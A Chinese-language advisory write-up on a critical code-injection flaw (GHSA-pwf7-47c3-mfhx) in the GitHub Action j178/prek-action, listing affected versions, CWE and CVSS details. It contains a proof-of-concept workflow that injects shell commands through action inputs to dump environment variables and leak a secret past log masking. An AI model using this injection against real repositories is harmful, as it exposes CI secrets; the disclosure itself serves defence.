GitHub Action j178/prek-action 存在严重代码注入漏洞

本文披露了 GitHub Action `j178/prek-action` 中存在的一个严重任意代码注入漏洞。攻击者可通过恶意构造的输入参数在运行环境中执行任意代码,进而窃取密钥等敏感信息,对仓库安全构成严重威胁。

漏洞概述

GHSA-pwf7-47c3-mfhx 是一个针对 j178/prek-action 这个 GitHub 组合 Action 披露的安全公告。该 Action 存在一个允许任意代码注入的漏洞,严重等级为 Critical

受影响版本

  • 受影响版本: <= 1.0.5
  • 已修复版本: 1.0.6

漏洞详情

该漏洞存在于 Action 的 action.yml 定义文件中。攻击者可以利用以下三个输入变量来在 Action 的运行上下文中执行任意代码:

  • inputs.prek-version
  • inputs.extra_args
  • inputs.extra-args

概念验证 (PoC)

1
2
3
4
5
6
- uses: j178/prek-action@v1.0.5
  with:
    prek-version: $(printenv >> $GITHUB_STEP_SUMMARY && echo "0.2.2")
    extra_args: '&& echo "MY_SECRET with a character is: ${MY_SECRET:0:1}a${MY_SECRET:1}" >> $GITHUB_STEP_SUMMARY && echo ""'
  env:
    MY_SECRET: ${{ secrets.MY_SECRET }}

上述利用示例会将所有环境变量打印到工作流摘要中,从而暴露 MY_SECRET 环境变量的值。由于 Action 会正常运行,攻击者可能利用此向量在不易察觉的情况下危害目标仓库的安全。

影响

  • 严重等级: 严重 (Critical)
  • CWE 分类: CWE-94 - 代码生成的不当控制(代码注入)

参考信息

  • GHSA ID: GHSA-pwf7-47c3-mfhx
  • 修复提交: j178/prek-action@6b7c6ef
  • 报告者: mondeja

CVSS v3.1 评分

  • 总体评分: 10.0 (CRITICAL)
  • 向量: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

基础指标详情:

  • 攻击途径 (AV): 网络 (N)
  • 攻击复杂度 (AC): 低 (L)
  • 所需权限 (PR): 低 (L)
  • 用户交互 (UI): 无 (N)
  • 影响范围 (S): 变更 (C)
  • 机密性影响 (C): 高 (H)
  • 完整性影响 (I): 高 (H)
  • 可用性影响 (A): 高 (H)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计